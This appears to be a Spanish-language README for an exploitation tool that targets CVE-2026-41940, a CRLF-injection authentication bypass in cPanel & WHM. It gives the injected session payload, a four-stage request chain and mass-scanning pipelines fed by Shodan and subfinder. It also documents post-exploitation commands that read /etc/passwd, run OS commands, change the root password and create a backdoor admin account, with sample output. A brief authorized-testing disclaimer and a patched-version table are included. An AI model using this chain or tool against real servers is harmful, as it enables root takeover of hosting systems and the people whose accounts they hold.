
CVE-2026-41940 — Bypass de autenticación en cPanel y WHM mediante inyección CRLF en archivos de sesión
CVE-2026-41940 — Bypass de autenticación en cPanel & WHM mediante inyección CRLF en el archivo de sesión
Cadena de explotación de 4 etapas · Shell WHM interactivo · Escáner masivo · Listo para pipelines · Solo stdlib
cPanelSniper es un framework de explotación especializado para CVE-2026-41940, una vulnerabilidad crítica de bypass de autenticación que afecta a cPanel & WHM. La vulnerabilidad permite a atacantes remotos no autenticados obtener acceso WHM a nivel de root inyectando secuencias CRLF en el archivo de sesión a través de la cabecera HTTP Authorization — sin necesidad de credenciales válidas.
Solo para pruebas de penetración autorizadas y programas de bug bounty.
La causa raíz reside en Session.pm: la función saveSession() llama a filter_sessiondata() después de escribir el archivo de sesión en disco. Esto significa que los caracteres CRLF incrustados en el valor de la cabecera Authorization: Basic se escriben literalmente en el archivo de sesión, inyectando campos controlados por el atacante antes de que se produzca la sanitización.
Flujo normal:
POST /login/ → filter_sessiondata() → escribir sesión → comprobación de autenticación
Flujo vulnerable:
POST /login/ → escribir sesión (payload CRLF inyectado) → filter_sessiondata() → la comprobación de autenticación lee el archivo envenenado
El valor de Authorization: Basic se decodifica como:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Estos campos se escriben directamente en el archivo de sesión en disco. Cuando se leen de nuevo, cPanel trata la sesión como una sesión root completamente autenticada.
┌─────────────────────────────────────────────────────────────┐
│ Etapa 0 — Descubrimiento del hostname canónico │
│ GET /openid_connect/cpanelid → 307 → hostname real │
├─────────────────────────────────────────────────────────────┤
│ Etapa 1 — Acuñar sesión preautenticada │
│ POST /login/?login_only=1 (credenciales incorrectas) │
│ ← 401 + cookie whostmgrsession │
├─────────────────────────────────────────────────────────────┤
│ Etapa 2 — Inyección CRLF │
│ GET / + Cookie: session + Authorization: Basic <payload> │
│ cpsrvd escribe campos CRLF en el archivo de sesión │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ Etapa 3 — Propagar (gadget do_token_denied) │
│ GET /scripts2/listaccts │
│ Activa el vaciado raw→cache — los campos inyectados se activan │
│ ← 401 Token denegado (esperado) │
├─────────────────────────────────────────────────────────────┤
│ Etapa 4 — Verificar acceso root de WHM │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = PWNED │
└─────────────────────────────────────────────────────────────┘
git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help
No se requiere pip install. Solo Python 3.8+ stdlib puro.
# Objetivo único — solo escaneo
python3 cPanelSniper.py -u https://target.com:2087
# Objetivo único — shell interactivo tras el bypass
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# Escaneo masivo desde archivo
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json
# Escaneo forzado (omitir detección de cPanel)
python3 cPanelSniper.py -u https://target.com:2087 --force
# Listar todas las cuentas cPanel del servidor
python3 cPanelSniper.py -u https://target.com:2087 --action list
# Ejecutar comando del sistema operativo
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# Obtener información del servidor (hostname, carga, disco, host MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# Obtener versión de cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version
# Cambiar contraseña de root
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# Shell WHM interactivo
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 | \
python3 cPanelSniper.py -t 30 -o results.json
# Desde lista de alcance
cat scope.txt | \
httpx -silent -ports 2087,2086 -threads 100 | \
python3 cPanelSniper.py -t 30 -o results.json
# Resultados de Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python3 cPanelSniper.py -t 30 -o shodan_results.json
# Tubería stdin
echo "https://target.com:2087" | python3 cPanelSniper.py
# Múltiples fuentes combinadas
{ subfinder -d target.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python3 cPanelSniper.py -t 20 --action list
Tras un bypass exitoso, la bandera --action shell abre un prompt interactivo:
════════════════════════════════════════════════════════════
WHM Shell — target.com
Versión: CVE-2026-41940 | Auth: bypass CRLF
Escribe 'help' para comandos, 'exit' para salir
════════════════════════════════════════════════════════════
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
[Cuentas cPanel] target.com:2087 (47 usuarios)
user01 dominio: example.com email: [email protected]
user02 dominio: shop.com email: [email protected]
...
[email protected] ▶ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[email protected] ▶ info
[Información del servidor] https://target.com:2087
hostname: srv01.target.com
carga: 0.72 / 0.66 / 0.69
versión: 11.130.0.6
[email protected] ▶ addadmin mitsec P@ss2026!
[ADMIN BACKDOOR CREADO]
Objetivo : https://target.com:2087
Usuario : mitsec
Contraseña : P@ss2026!
Perfil : super_admin
[email protected] ▶ exit
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT] [--no-color]
Objetivo:
-u, --url URL URL del objetivo único (p. ej. https://host:2087)
-l, --list LIST Archivo con URLs (una por línea)
--hostname HOSTNAME Sobrescribir cabecera Host canónica (auto-descubierta)
Escaneo:
-t, --threads N Hilos concurrentes (por defecto: 10)
--timeout N Segundos de tiempo de espera de solicitud (por defecto: 15)
--rate-limit N Retraso entre objetivos (por defecto: 0)
--force Omitir comprobación de detección de cPanel
Post-explotación:
--action ACTION Acción: list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS Nueva contraseña de root (--action passwd)
--cmd CMD Comando del sistema operativo (--action cmd/exec)
--new-user USER Nuevo nombre de usuario cPanel (--action adduser)
--new-domain DOMAIN Nuevo dominio cPanel (--action adduser)
Salida:
-o, --output FILE Guardar resultados en archivo JSON
--no-color Deshabilitar colores ANSI
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
...
CVE-2026-41940 — Bypass de autenticación en cPanel & WHM mediante inyección CRLF
4 etapas: preauth → inyección CRLF → propagación → verificación → post-explotación
In-The-Wild | CVSS 10.0 | Por Mitsec (@ynsmroztas)
Configuración:
Objetivos : 1
Hilos : 10
Timeout : 15s
Acción : list
14:46:22 [SCAN] Iniciando cadena de explotación de 4 etapas... https://target.com:2087
14:46:23 [INFO] Hostname canónico descubierto: srv01.target.com
14:46:23 [STEP] Etapa 1/4 — Acuñando sesión preautenticada...
14:46:23 [ OK] Etapa1: sesión preauth = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] Etapa 2/4 — Inyección CRLF mediante cabecera Authorization...
14:46:24 [ OK] Etapa2: HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] Etapa 3/4 — Disparando gadget do_token_denied (raw→cache)...
14:46:25 [ OK] Etapa3: HTTP 401 — gadget do_token_denied disparado
14:46:25 [STEP] Etapa 4/4 — Verificando acceso root de WHM...
14:46:26 [PWND] CVE-2026-41940 CONFIRMADO — ¡Acceso root de WHM!
14:46:26 [PWND] Token : /cpsess8493537756
14:46:26 [PWND] Versión : 11.130.0.6
14:46:26 [PWND] URL API : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] Ejecutando acción post-explotación: list
14:46:27 [ API] listaccts → HTTP 200
[Cuentas cPanel] target.com:2087 (47 cuentas)
client01 dominio: client01.com email: [email protected]
client02 dominio: client02.net email: [email protected]
...
══════════════════════════════════════════════════════════════════════
cPanelSniper — Escaneo completado
Tiempo: 5.8s · Objetivos: 1
⚡ 1 OBJETIVO(S) VULNERABLE(S)
Objetivo : https://target.com:2087
Versión : 11.130.0.6
Token : /cpsess8493537756
URL API : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════
El valor inyectado de Authorization: Basic (decodificado en base64) contiene secuencias CRLF que se convierten en saltos de línea en el archivo de sesión de cPanel:
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1
El lector de sesiones de cPanel analiza estos campos como campos de sesión legítimos, otorgando acceso root completo a WHM.
El paso crítico y a menudo pasado por alto: después de la inyección CRLF (Etapa 2), los datos de sesión envenenados existen solo en el archivo de sesión sin procesar. Una solicitud a /scripts2/listaccts activa el manejador interno do_token_denied, que vacía los datos de sesión sin procesar en la caché de sesión. Sin este vaciado, la Etapa 4 devolvería un 403.
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
^ ^
| +-- hash ob (eliminado)
+-- nombre de sesión (usado para la inyección)
El nombre de sesión (antes de %2C) se extrae y se usa como valor de cookie para solicitudes posteriores.
Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas y programas de bug bounty. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad y no se hace responsable de ningún uso indebido o daño causado por esta herramienta. Obtén siempre la autorización escrita adecuada antes de realizar pruebas.
Mitsec — @ynsmroztas
Hecho con ❤️ por @ynsmroztas
| Rama | Vulnerable | Parcheada |
|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
| Comando | Descripción |
|---|
id / whoami | Mostrar UID y hostname |
hostname | Obtener hostname del servidor |
version | Información de versión de cPanel |
info | Carga, disco, host MySQL, versión |
accounts | Listar todas las cuentas de usuario cPanel |
cat <ruta> | Leer contenido de archivo |
ls [ruta] | Listar directorio |
exec <cmd> | Ejecutar comando del sistema operativo |
addadmin <usuario> <pass> | Crear administrador WHM backdoor |
passwd <pass> | Cambiar contraseña de root |
api <endpoint> [k=v ...] | Llamada API JSON de WHM sin procesar |
help | Mostrar todos los comandos |
exit | Salir del shell |